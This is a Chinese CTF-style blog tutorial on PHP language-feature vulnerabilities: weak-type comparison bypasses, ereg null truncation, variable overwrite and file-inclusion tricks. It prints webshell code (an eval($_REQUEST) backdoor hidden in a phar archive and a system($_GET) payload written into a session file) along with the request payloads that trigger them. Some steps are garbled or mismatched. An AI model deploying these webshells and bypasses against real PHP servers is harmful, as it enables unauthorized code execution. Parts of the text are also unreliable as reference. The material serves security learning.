• PHP语言特性漏洞汇总【万字详解】


    1. 任意文件下载

      1. 尝试下载flag.php,源码如下:

        <?php
        header('Content-Type: text/html; charset=utf-8'); //网页编码
        function encrypt($data, $key) {
        	$key = md5 ( $key );
        	$x = 0;
        	$len = strlen ( $data );
        	$l = strlen ( $key );
        	for($i = 0; $i < $len; $i ++) {
        		if ($x == $l) {
        			$x = 0;
        		}
        		$char .= $key {$x};
        		$x ++;
        	}
        	for($i = 0; $i < $len; $i ++) {
        		$str .= chr ( ord ( $data {$i} ) + (ord ( $char {$i} )) % 256 );
        	}
        	return base64_encode ( $str );
        }
        
        function decrypt($data, $key) {
        	$key = md5 ( $key );
        	$x = 0;
        	$data = base64_decode ( $data );
        	$len = strlen ( $data );
        	$l = strlen ( $key );
        	for($i = 0; $i < $len; $i ++) {
        		if ($x == $l) {
        			$x = 0;
        		}
        		$char .= substr ( $key, $x, 1 );
        		$x ++;
        	}
        	for($i = 0; $i < $len; $i ++) {
        		if (ord ( substr ( $data, $i, 1 ) ) < ord ( substr ( $char, $i, 1 ) )) {
        			$str .= chr ( (ord ( substr ( $data, $i, 1 ) ) + 256) - ord ( substr ( $char, $i, 1 ) ) );
        		} else {
        			$str .= chr ( ord ( substr ( $data, $i, 1 ) ) - ord ( substr ( $char, $i, 1 ) ) );
        		}
        	}
        	return $str;
        }
        
        $key="this_is_encrypt_key";
        //g5jPoHql1N/MuGplep+jpHSZkrmiq4Wrr6mrfcOEYqyprcdwf6fLyN8=
        
      2. 从名字可知到有两个函数,一个加密encrypt,一个解密decrypt

      3. 最后根据函数构造payload即可

        1.   <?php
            function decrypt($data, $key) {
            	$key = md5 ( $key );
            	$x = 0;
            	$data = base64_decode ( $data );
            	$len = strlen ( $data );
            	$l = strlen ( $key );
            	for($i = 0; $i < $len; $i ++) {
            		if ($x == $l) {
            			$x = 0;
            		}
            		$char .= substr ( $key, $x, 1 );
            		$x ++;
            	}
            	for($i = 0; $i < $len; $i ++) {
            		if (ord ( substr ( $data, $i, 1 ) ) < ord ( substr ( $char, $i, 1 ) )) {
            			$str .= chr ( (ord ( substr ( $data, $i, 1 ) ) + 256) - ord ( substr ( $char, $i, 1 ) ) );
            		} else {
            			$str .= chr ( ord ( substr ( $data, $i, 1 ) ) - ord ( substr ( $char, $i, 1 ) ) );
            		}
            	}
            	return $str;
            }
            $key="this_is_encrypt_key";
            $data="g5jPoHql1N/MuGplep+jpHSZkrmiq4Wrr6mrfcOEYqyprcdwf6fLyN8=";
            echo decrypt($data,$key);
            ?>
          

    PHP弱类型比较

    1. 字符比较绕过

      1. 代码示例
        1.   <?php
            if(is_numeric($_GET['1']) && $_GET['1']=="255"){
                if(strstr($_GET['1'],"255")==False){
                        $flag;
                }
            }
            show_source(__FILE__);
          
      2. 过程
        1. 传入的变量1需要两个条件,一个条件是需要是数字255才可以,而另一个条件是不等于255

        2. is_numeric()会将数字,数字字符串,科学计数法的数字,十六进制的数字都认为是数字。而后面的数值比较是使用的弱比较,就是说会将不同类型的两个值转换成一个类型再进行比较,如果1的值是十六进制,则会将十六进制的值转换成十进制再进行比较。

        3. 故此题可用16进制构造payload:http://localhost/?1=0xff

    2. SHA1比较绕过

      1. 代码示例

        <?php
        error_reporting(0);
        if (isset($_GET['name']) and isset($_GET['password'])) {
            sha1($_GET['name']) . "
        "
        ; sha1($_GET['password']) . "
        "
        ; if ($_GET['name'] == $_GET['password']) '

        Your password can not be your name!

        '
        ; else if (sha1($_GET['name']) == sha1($_GET['password'])) $flag; } highlight_file(__FILE__); ?>
      2. 由代码可知,条件是name和password不能相等,但是他们的sha1的值要相等

      3. 这里可以sha1无法计算数组的特性来进行绕过,payload:?name[]=1&password[]=2

    3. MD5比较绕过

      1. 代码示例

        <?php
        if (isset($_POST['name']) && isset($_POST['password'])) {
            if ($_POST['name'] == $_POST['password']) {
                echo '用户名和密码不能相同';
            } else if (md5($_POST['name']) == md5($_POST['password'])) {
                die('Flag: ' . $flag);
            } else {
                echo '密码错误';
            }
        } else {
            echo '请登录';
        }
        ?>
        
      2. 由代码可知,name与password的值不能相等,但是他们的MD5需要相等

      3. 利用MD5函数无法处理数组的特性来进行绕过,payload: SangFor{XlR0R_Aixi9e0toz}

    4. SESSION比较绕过

      1. 示例

        1. 
            <html>
            <head>
            <title>猜密码</title>
            </head>
            <body>
            <!-- 
            session_start();
            if (isset ($_POST['pwd'])){
                    if ($_POST['pwd'] == $_SESSION['pwd'])
                            die('Flag:'.$flag);
                    else{
                            print '

          不对哦,再猜.

          '
          ; $_SESSION['pwd']=time().time(); } }else{ $_SESSION['pwd']=time().time(); } --> <form action="index.php" method="post"> 密码:<input type="text" name="pwd"/> <input type="submit" value="提交"/> <br>提示:源码有惊喜哦~<br/> </form> </body> </html>
      2. 分析代码逻辑,提交的密码 pwd 和 session 中存储的pwd 的值相等即可出 flag ,但session会随时间的变化而变化

      3. 当 sessionid 为服务器中不存在的sessionid 时,获取的相应数据也为 NULL ,如果我们传入的 pwd 为 null ,则成功绕过比较。

      4. 使用burpsuite截取数据包,修改 PHPSESSID 的值为空,并令 pwd 也为空

    5. STRCMP比较绕过

      1. 源代码:

        <?php
        error_reporting(0);
        $password="***************";
        if(isset($_POST['password'])) {
            if (strcmp($_POST['password'], $password) == 0) {
                $flag;
            } else {
                "Wrong password..";
            }
        }
        highlight_file(__FILE__);
        ?>
        
      2. strcmp函数是string compare(字符串比较)的缩写,用于比较两个字符串并根据比较结果返回整数。基本形式为strcmp(str1,str2),若str1=str2,则返回零;若str1>str2,则返回正数。

      3. 根据代码逻辑,需要比较 P O S T [ ‘ p a s s w o r d ’ ] 和 _POST[‘password’]和 POST[password]password的值,而$password的值无从得知。但由于php代码在比较时使用了弱比较,并且strcmp传入的期望类型是字符串类型的数据,但是如果传入非字符串类型的数据的时候,这个函数将发生错误但却判定其相等

      4. payload:password[]=1

    6. 科学计算法绕过

      1. 概念
        1. php处理字符串时存在一个缺陷问题,如果字符串为“1e1”,本该是一个正常的字符串,但是php会将它认为是科学计数法里面的e;也就是按照数学中的科学计数法。因此php会把这个字符串里面的1e1进行科学计数法计算,得出来就为“10”,即遇到“0e212”这些字符串直接看作为“0”.
      2. 复现
        1. 源代码:

          <?php
          include('flag.php');
          if(isset($_GET['time'])){
              if(!is_numeric($_GET['time'])){
                   'The time must be number.';
              }else if($_GET['time'] < 60 * 60 * 24 * 30 * 2){
                   'This time is too short.';
              }else if($_GET['time'] > 60 * 60 * 24 * 30 * 3){
                   'This time is too long.';
              }else{
                  sleep((int)$_GET['time']);
                   $flag;
              }
          }
          
          show_source(FILE);
          
          ?>
          
        2. 先检测是否通过 GET 方式传递一个非 NULL 的 time 值,如果有,则执行 if 里的语句。先判断了 times 的值是否为数字,如果不为数字,就返回“必须输入数字”;如果 times 的值小于 60 * 60 * 24 * 30 * 2 = 5184000 ,则返回“时间过短”;如果 time的值大于 60 * 60 * 24 * 30 * 3 = 7776000,则返回“时间过长”;否则将 time 的值转换成整型后休眠这么多秒后返回 flag

        3. 其中 is_numeric() 会将数字,数字字符串,科学计数法的数字,十六进制的数字都认为是数字。可以注意到 times的值是需要介于两个月到三个月的秒数。而强制转换成整型函数 int() 会将小数点以后的数字去掉。所以我们可以使用科学计数法绕过,输入“?time=6e6”,则会休眠6秒后返回 flag

          payload:   ?time=6e6
          
      3. 复现2
        1. 源代码

          <?php
          error_reporting(0);
          include("flag.php");
          if (isset($_GET['p1'])){
              if ($_GET['p1'] > 99999999 && strlen($_GET['p1']) < 9){
                  if (isset ( $_GET ['p2'] )) {
                          $p2 = $_GET ['p2'];
                          if (is_numeric($p2)){
                              die('Input cannot be a number!!!');
                          }
                          else{
                              switch ($p2) {
                                  case 0 :
                                      break;
                                  case 1 :
                                      break;
                                  case 2 :
                                      echo $flag;
                                      break;
                                  default :
                                      echo "2333333";
                                      break;
                              }
                          }
                      }
              }
          }
          highlight_file(__FILE__);
          ?>
          
        2. 分析代码逻辑:

          1. 条件一:p1大于99999999,并且长度小于9.用科学计数法绕过,令p1等于1e8即可;
          2. 条件二:p2不能为数字,但要想输出flag又必须为2,这里可以利用is_numeric()函数的特性,当它判断123、‘123’、0x123、'0x123’等均为ture ,只有像123abc这种混合类型时为false,并且switch/case 作的是松散比较,所以令p2为2aaaa即可绕过。
        3. payload:?p1=1e8&&p2=2aaa

    7. json_decode()绕过

      1. 概念
        1. json_decode()函数是PHP中的内置函数,用于解码JSON字符串。它将JSON编码的字符串转换为PHP变量。
      2. 源码分析
        1.   <?php
            include('flag.php');
            if (isset($_POST['message'])) {
                $message = json_decode($_POST['message']);
                $key ="*********";
                if ($message->key == $key) {
                    "flag";
                }
                else {
                     "fail";
                }
            }
            else{
                 "~~~~";
            }
            show_source(__FILE__);
            ?>
          
      3. 分析代码逻辑,传入一个变量message,并且是json类型的字符串,然后json_decode()函数将其解析成字符串,其中一个变量key的值和原码中的$key值相等,输出flag。

      4. $key的值无法获取,只能考虑利用0==“string”这种形式绕过。所以传入message={“key”:0}就能够绕过了。

      5. payload:

        POST:
        message={"key":0}
        
    8. ereg绕过

      1. 概念
        1. ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。可选的输入参数规则包含一个数组的所有匹配表达式,他们被正则表达式的括号分组。
          ereg()函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配.
          ereg()函数只能处理字符串的,遇到数组做参数返回NULL.
      2. 复现
        1. 源代码:

          <?php
          header ( 'Content-Type: text/html; charset=utf-8' ); // 网页编码
          error_reporting ( 0 );
          $flag = "*******************";
          //echo $_POST['num'];
          if (isset ( $_POST ['num'] )) {
          	if (@ereg ( "^[1-9]+$", $_POST['num'] ) === FALSE)
          		echo '说好的数字呢?';
          	else if (strpos ( $_POST['num'], '#tag' ) !== FALSE)
          		die ( 'Flag: ' . $flag );
          	else
          		echo '你的数字不太符合我的心意哦!';
          }
          ?>
          <html>
          <head>
          <title>猜密码</title>
          </head>
          <body style="text-align: center">
          <center>
          <img src="num.png"/>
          	<form action="index.php" method="post">
          		<input type="text" name="num" /> <input type="submit" value="提交" />
          	</form>
          </center>
          	<!-- index.php.txt  -->
          </body>
          </html>
          
        2. 分析代码,首先参数以post方式传入,再看条件,第一个if,ereg函数的作用是正则匹配,此处是要求传入的参数只能为单个或多个数字,结果才能为true,接下来与FALSE进行强比较,结果为FALSE,所以跳过执行下一个判断条件。再看else if,strpos函数的作用是查找后一个字符串在前一个字符串中第一次出现的位置,没有找到的话返回false,找到了话返回true,如果子字符串位于字符串的第一位则会返回0,为了区分0和false,所以需要用强等,=或者!

        3. 综上要想得到flag,首先输入的必须为数字,其次里面必须要有#tag,最终才能输出flag,但是明显两个条件不可能同时满足,因此寻找两个处理函数的漏洞才有可能得到flag。

        4. 经过查找资料,得到了两个函数的特性:

          1. ereg和strpos两个函数均是处理字符串的,如果传入的参数为数组,则会返回NULL,而NULL和FALSE、TRUE的类型不同(强等需要类型也相同),因此可以用数组绕过。
          2. ereg函数存在NULL截断漏洞,导致正则过滤被绕过,可以用%00–截断,而strpos函数不存在,因此可以读取到后面的字符串,所以既可以用%00绕过。
        5. payload

          payload1数组绕过
          POST:
          num[]=1
          
          payload2%00截断
          POST:
          num=1%00#tag
          
      3. 复现2
        1. 源码:

          <?php
          error_reporting(0);
          include('flag.php');
          if (isset ($_GET['password'])) 
          {
              if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
              {
                  echo '

          数字或者字母

          '
          ; } else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999) { if (strpos ($_GET['password'], '*-*') !== FALSE) { $flag; } else { '

          再想想呢

          '
          ; } } else { '

          password不正确!

          '
          ; } } highlight_file(__FILE__); ?>
        2. 分析代码首先判断如果有定义通过GET方式传递的变量password,则进入if内的语句。用正则表达式“1+$”匹配password,如果不匹配,返回“数字或者字母”;否则,如果password的长度小于8 或者password大于9999999,并且password中有“ - ”字符串则返回flag。

        3. 因为ereg函数存在%00截断漏洞,就是说ereg会把%00当成是字符串的结尾,%00之后的字符串就不进行匹配了。但是strpos并不存在此漏洞。至于长度限制可以使用科学计数法进行绕过。

        4. payload:?password=9e9%00*-*

    9. array_search强相等绕过

      1. 概念
        1.   array_search函数可以在数组内寻找某个键值,如果找到就返回键名,未找到就返回false。
          
      2. 复现
        1. 源码:

          <?php
          include('flag.php');
          highlight_file(__FILE__);
          if(!is_array($_GET['SXF'])){exit();}
          $SXF=$_GET['SXF'];
          for($i=0;$i<count($SXF);$i++){
              if($SXF[$i]==="admin"){
                 echo "error";
                  exit();
              }
              $SXF[$i]=intval($SXF[$i]);
          }
          if(array_search("admin",$SXF)===0){
              echo $flag;
          }
          else{
              "false";
          }
          ?>
          
        2. 分析代码逻辑,三个if条件很是苛刻,前两个if分别要求参数test传入的值必须是数组且数组内不能有“admin”,然后第三个条件就要求通过array_search(“admin”,$SXF)判断。

        3. 而我们知道,array_search()与in_array()一样,会类型进行强制转换,那么当我们传入时,中的判断就相当于,最终等式成立返回匹配成功的数组元素的下标0,满足“===”,得到flag。

        4. payload:?SXF[0]=0

    文件包含生成phar的shell文件

    1. 首先访问靶机,来到一个空页面

    2. 用dirseach扫描得到upload.php,include.php两个新文件

    3. 其中include.php含有文件包含漏洞,可以使用 include.php?file=php://filter/read=convert.base64-encode/resource=upload 来读取源码

    4. 分别解密得到源码

      upload.php
      <form action="" enctype="multipart/form-data" method="post" name="upload">
          File: <input type="file" name="file" /><br>
          <input type="submit" value="Upload" />
      </form>
      
      <?php
      if (!empty($_FILES["file"])) {
          $allowedExts = array("gif", "jpeg", "jpg", "png");
          $temp = explode(".", $_FILES["file"]["name"]);
          $extension = end($temp);
      
          if ((($_FILES["file"]["type"] == "image/gif") || ($_FILES["file"]["type"] == "image/jpeg")
          || ($_FILES["file"]["type"] == "image/jpg") || ($_FILES["file"]["type"] == "image/pjpeg")
          || ($_FILES["file"]["type"] == "image/x-png") || ($_FILES["file"]["type"] == "image/png"))
          && ($_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts)) {
              move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
              echo "File upload successful! Saved in: upload/" . $_FILES["file"]["name"];
          } else {
              echo "Upload failed!";
          }
      }
      ?>
      
      include.php
      <html>
          Tips: the parameter is file! :)
          <!-- upload.php -->
      </html>
      
      <?php
      $file = @$_GET["file"];
      if (isset($file)) {
          if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file, "..") !== FALSE || strlen($file) >= 70) {
              echo "

      error!

      "
      ; } else { include($file . '.php'); } } ?>
    5. 但是 include.php 限制了后缀只能是 .php,这里还不能截断
      再看upload.php,限制了只能上传图片

    6. 这里唯一可用的就是 phar:// 这个协议了

    7. 生成shell文件

      1. 创建shell.php,写入后门代码

        1.   <?php @eval($_REQUEST['hack']);highlight_file(__FILE__);?>
          
      2. 将其压缩为zip,然后将文件名后缀修改为png上传即可

      3. 用蚁剑连接即可

        1.   include.php?file=phar://upload/shell.png/shell
            //这里的shell指的是压缩包的shell.php
          

    file_get_contents()函数造成的漏洞

    1. 概念
      1. file_get_contents() 把整个文件读入一个字符串中。
        该函数是用于把文件的内容读入到一个字符串中的首选方法。如果服务器操作系统支持,还会使用内存映射技术来增强性能。
    2. 复现
      1. 源码:

        1.   <?php
            error_reporting(0);
            function check($file){
                $black=array("../", "..\\");
                foreach($black as $value){
                    if(strstr($file, $value)){
                        die("得了吧");
                    }
                }
            }
          
            header("set-cookie: sourceCode.txt");
          
            $user = $_GET["name"];
          
            $file = $_GET["file"];
          
          
            if(isset($user)&&(file_get_contents($user,‘r’)===“welcome to the SangFor”)){
          
            echo “hello admin!<br>;
          
            check($file);
          
            include($file);
          
            }
          
            else {
          
            echo "you are not admin ! ";
          
            }
          
            ?>
          
      2. 根据源码存在两个变量, u s e r 和 user和 userfile。

      3. 在if条件判断中,传入一个文件且其内容为welcome to the SangFor,才可以进入判断进行下一步。

      4. file_get_contents() 函数把整个文件读入一个字符串中。

      5. file_get_contents()的$filename参数不仅仅为本地文件路径,还可以是一个网络路径URL。于是便可以利用伪协议:

        ?name=php://input
        POST:
        welcome to the SangFor
        
    3. 复现2
      1. 源码:

        <?php
        $p1 = @$_GET['a'];
        $p2 = @$_GET['b'];
        $p3 = @$_GET['c'];
        $p4 = @$_GET['d'];
        if(isset($_GET['a']) && isset($_GET['b']) && isset($_GET['c']) && isset($_GET['d']))
            if($p1 != $p2 && md5($p1) == md5($p2)){
                if($p3 === file_get_contents($p4)){
                    echo file_get_contents("flag.php");
                }
            }
            else{
                die("请输入2个不同的值");
            }
        highlight_file("index.php"); 
        
      2. payload:

        /?a[]=1&b[]=2&c=4&d=php://input
        post:
        4
        

    PHP变量覆盖

    PHP-extract变量覆盖

    1. 概念
      1.   变量覆盖指的是用我们自定义的参数值替换程序原有的变量值,一般变量覆盖漏洞需要结合程序的其它功能来实现完整的攻击。
          经常导致变量覆盖漏洞场景有:$$,extract()函数,parse_str()函数等.
        
    2. 复现
      1. 源码:

        <?php
        include('flag.php');
        if ($_SERVER["REQUEST_METHOD"] == “POST”)
            $SangFor = "666";
            $SXF = "2333";
            extract($_POST);
            if ($SangFor === $SXF) {
                $flag;
            }
            else{
                "咋回事呢?";
            }
        highlight_file(__FILE__);
        ?>
        
      2. extract该函数使用数组键名作为变量名,使用数组键值作为变量值。但是当变量中有同名的元素时,该函数默认将原有的值给覆盖掉。这就造成了变量覆盖漏洞。

      3. 由此可以通过POST方法覆盖变量$SangFor,将其变量值覆盖为2333,来构造if条件判断为真,即可输出flag。

    全局变量覆盖$$

    1. 概念
      1. 变量覆盖指的是用我们自定义的参数值替换程序原有的变量值,一般变量覆盖漏洞需要结合程序的其它功能来实现完整的攻击。
        经常导致变量覆盖漏洞场景有: $$,extract()函数,parse_str()函数等.
    2. 复现
      1. 源码:

         <?php
        error_reporting(0);
        include "flag.php";
        highlight_file(__file__);
        if(isset($_GET['args'])){
            $args = $_GET['args'];
            if(!preg_match("/^\w+$/",$args)){
                die();
            }
            eval("var_dump($$args);");
        }
        else{
            "yyds";
        }
        ?> 
        
      2. 正则过滤:

        1. 两个//表示开始和结束

          ^表示开始字符串

          $表示结束字符串

          \w表示包含[a-z,A-Z, _ , 0-9]

          +表示一个或者多个\w
          就是限定一个任意长字符串全部由字母数字组成,前面中间后面都不能有空格、标点等非\w字符

      3. 如果args的值是只由大小写字母数字和下划线,则执行eval(“var_dump($$args)”)。

      4. 通过提示“flag在变量里”,想能不能通过打印所有变量的值来获得flag。

      5. 这里介绍一个超全局变量$GLOBALS,它可以引用全局作用域中可用的全部变量(一个包含了全部变量的全局组合数组。变量的名字就是数组的键),与所有其他超全局变量不同。我们尝试输入“?args=GLOBALS”获得flag;payload:http://localhost/?args=GLOBALS

    PHP-parse_str变量覆盖

    1. 概念
      1. parse_str(string,array)
        把查询字符串解析到变量中

      2. 例如

        1.   $a = "name=SangFor&age=666";
            parse_str($a,$b);
            echo $b['name']."\n";
            echo $b['age'];
            #输出结果
          
            //SangFor
          
            //666
          
    2. 复现
      1. 源码:

        <!--
        $he ='Spring';
        $flag = "**********";
        parse_str($_GET['SangFor']);
        if ($he =="Moon"){
              echo $flag;
               }
        -->
        
      2. 分析代码可知,需要以POST方法传入v1,以GET方法传入v3

      3. 变量he值为字符串“Spring”,然后通过parse_str将通过GET方式传递的Moon参数的字符串解析到变量中。

      4. 由于parse_str存在变量覆盖漏洞,尝试输入?SangFor=he=Moon获得flag。

      5. payload:?SangFor=he=Moon

    3. 复现2
      1. 源码:

        <?php  error_reporting(0);
        $j="gan de piao liang ";
        include("flag.php");
        $hashed_key = 'ddbafb4eb89e218701472d3f6c087fdf7119dfdd560f9d1fcbe7482b0feea05a';
        $parsed = parse_url($_SERVER['REQUEST_URI']);
        if(isset($parsed["query"])) {
            $query = $parsed["query"];
            $parsed_query = parse_str($query);
            if($parsed_query!=NULL) {
                $action = $parsed_query['action'];
            }
            if($action==="auth") {
                $key = $_GET["key"];
                $hashed_input = hash('sha256', $key);
                if($hashed_input!==$hashed_key) {
                    die("");
                }
                echo $flag;
            }
        } else {
            show_source(__FILE__);
        }
        ?> 
        
      2. 由代码可知,需要满足一下条件

        1. 条件一:parse_url()函数解析出的URI带有query参数值
        2. 条件二:parse_str()函数对$query进行解析,解析后的数组不为空
        3. 条件三:变量action值为auth
        4. 条件四:变量key的值经过hash256加密后的值需要与原代码中已有的$hashed_key的值相等。
      3. 构造payload:action=auth&key=swzaq&hashed_key=07e599430c991fd44f41e7658b8816143ba7ce316c3a503291bacc82f1b569ee

    PHP-preg_match函数绕过

    1. 概念
      1. 在php中preg_match()函数用于执行一个正则表达式匹配,并返回匹配的次数,该函数在第一次匹配后会停止搜索。函数语法:【int preg_match(string $pattern ,string $subject)】。
    2. 复现
      1. 源码
        1.   <?php
            $str = intval($_GET['id']);
            $reg = preg_match('/\d/is', $_GET['id']);
            if(!is_numeric($_GET['id']) and $reg !== 1 and $str === 1){
                echo $flag;
            }else{
                    "no";
            }
            highlight_file(__FILE__);
            ?>
          
      2. PHP所使用的preg_match()函数从用户输入字符串获得参数,如果所传送的值为数组而不是字符串就会生成警告,警告消息中包含有当前运行脚本的完整路径。

      3. payload:?id[]=1

        1. intval($_GET['id']); 输出1
        2. is_numeric($_GET[‘id’]) 不存在
        3. preg_match(’/\d/is’, $_GET[‘id’]) 不为1
    3. 复现2 (*)
      1. 源码:

         <?php
        
        include "flag.php";
        $number1 = rand(1,100000000000000);
        $number2 = rand(1,100000000000);
        $number3 = rand(1,100000000);
        $url = urldecode($_SERVER['REQUEST_URI']);//$_SERVER[“REQUEST_URI”]函数是预定义服务器变量的一种,所有$_SERVER开头的都叫做预定义服务器变量 
        $url = parse_url($url, PHP_URL_QUERY);//REQUEST_URI的作用是取得当前URI,也就是除域名外后面的完整的地址路径。而parse_url()函数是对$url进行解析,PHP_URL_QUERY是指解析字符串,即?后面的内容。
        if (preg_match("/_/i", $url)) 
        {
            die("...");
        }
        if (preg_match("/0/i", $url)) 
        {
            die("...");
        }
        if (preg_match("/w+/i", $url)) 
        {
            die("...");
        }  
        if(isset($_GET['_']) && !empty($_GET['_']))
        {
            $control = $_GET['_'];  
            if(!in_array($control, array(0,$number1)))
            {
                die("fail1");
            }
            if(!in_array($control, array(0,$number2)))
            {
                die("fail2");
            }
            if(!in_array($control, array(0,$number3)))
            {
                die("fail3");
            }
            echo $flag;
        }
        show_source(__FILE__);
        ?>
        
      2. 源码首先检查URL查询字符串中是否包含下划线(_)、数字0(0)或模式w+,有则输出’…’

      3. 符合三个数组的值,而三个数组唯一可以确定相同的值只有0。

      4. parse_url 提取的是查询字符串部分,正本题是 ? 后面的内容。如果使用 ///,parse_url可能导致解析错误或结果为 NULL

      5. 这可以被利用来绕过一些基于 parse_url 结果的检查。

      • in_array 在没有指定第三个参数时,会进行弱类型比较。
      • 字符串与数字比较时,如果字符串的第一个字符不是数字,会转换为 0
      • 因此,可以通过传递一个字母(如 ?_=a)来绕过 in_array 的检查,因为 'a' 会被转换为 0
      • payload:///?_=a

    call_user_func函数之变量覆盖

    1. 源码

      <?php
          highlight_file(__FILE__);
          error_reporting(0);
          ini_set('open_basedir', '/var/www/html:/tmp');//只容许访问这两个目录
          $file = 'function.php';
          $func = isset($_GET['function'])?$_GET['function']:'filters'; 
          call_user_func($func,$_GET);//创建函数
          include($file);//文件包含漏洞
          session_start();
          $_SESSION['name'] = $_POST['name'];
          if($_SESSION['name']=='admin'){
              header('location:admin.php');
          }
      ?>
      
    2. call_user_func具有变量,攻击者可以控制此变量来自定义创建函数

    3. 通过构建extract函数来更高file的值进行变量覆盖来触发文件包含漏洞

      1. 查看function文件payload:?function=extract&file=php://filter/read=convert.base64-encode/resource=./function.php
    4. 但是function.php和admin.php并没有flag的值,又有网站目录限制

    5. 但是可以控制session文件再通过文件包含漏洞进行webshell

    6. 因为每一个sessid对应一个sess_的缓存文件

    7. sess_的缓存文件存放文字大概如下:在这里插入图片描述

      1.  /var/lib/php/sess_PHPSESSID
         /var/lib/php/sessions/sess_PHPSESSID
         /var/lib/php5/sess_PHPSESSID
         /var/lib/php5/sessions/sess_PHPSESSID
         /tmp/sess_PHPSESSID
         /tmp/sessions/sess_PHPSESSID
        
    8. 捉包,将其改为post提交方式,写入后门木马和payload

      1.  数据包:
         POST /index.php?function=session_start&save_path=/tmp HTTP/1.1
         Host: mntlzd2m4dsbw1ai.ctfw.edu.sangfor.com.cn
         User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
         Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
         Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
         Accept-Encoding: gzip, deflate
         Cookie: PHPSESSID=119a580e62aa1451684ee277a30e40b5
         DNT: 1
         Content-Type: application/x-www-form-urlencoded
         Connection: close
         Upgrade-Insecure-Requests: 1
         Content-Length: 41
        
         name=<?php echo "aaa";system($_GET[x]);?>
        
      2. 在这里插入图片描述
    9. 后门触发payload:

      1.  http://mntlzd2m4dsbw1ai.ctfw.edu.sangfor.com.cn/index.php?function=extract&file=/tmp/sess_119a580e62aa1451684ee277a30e40b5&x=ls```
        

    在这里插入图片描述

    2. 
    

    1. a-zA-Z0-9 ↩︎

  • 相关阅读:
    Java8实战-总结30
    【Java】数组中值得说的那些事
    力扣练习——68 连续数组
    来一套完整的面试题
    智能矩阵,引领商业新纪元!拓世方案:打破线上线下界限,开启无限营销可能!
    《算法通关村——位运算常用技巧》
    使用Tensorrt的一般步骤
    spark(HA)集群安装
    Docker 网桥、docker0 网桥和 --net host:平台差异、使用方式和场景介绍简介:
    微信小程序的常用事件的用法
  • 原文地址:https://blog.csdn.net/2301_80064376/article/details/141096341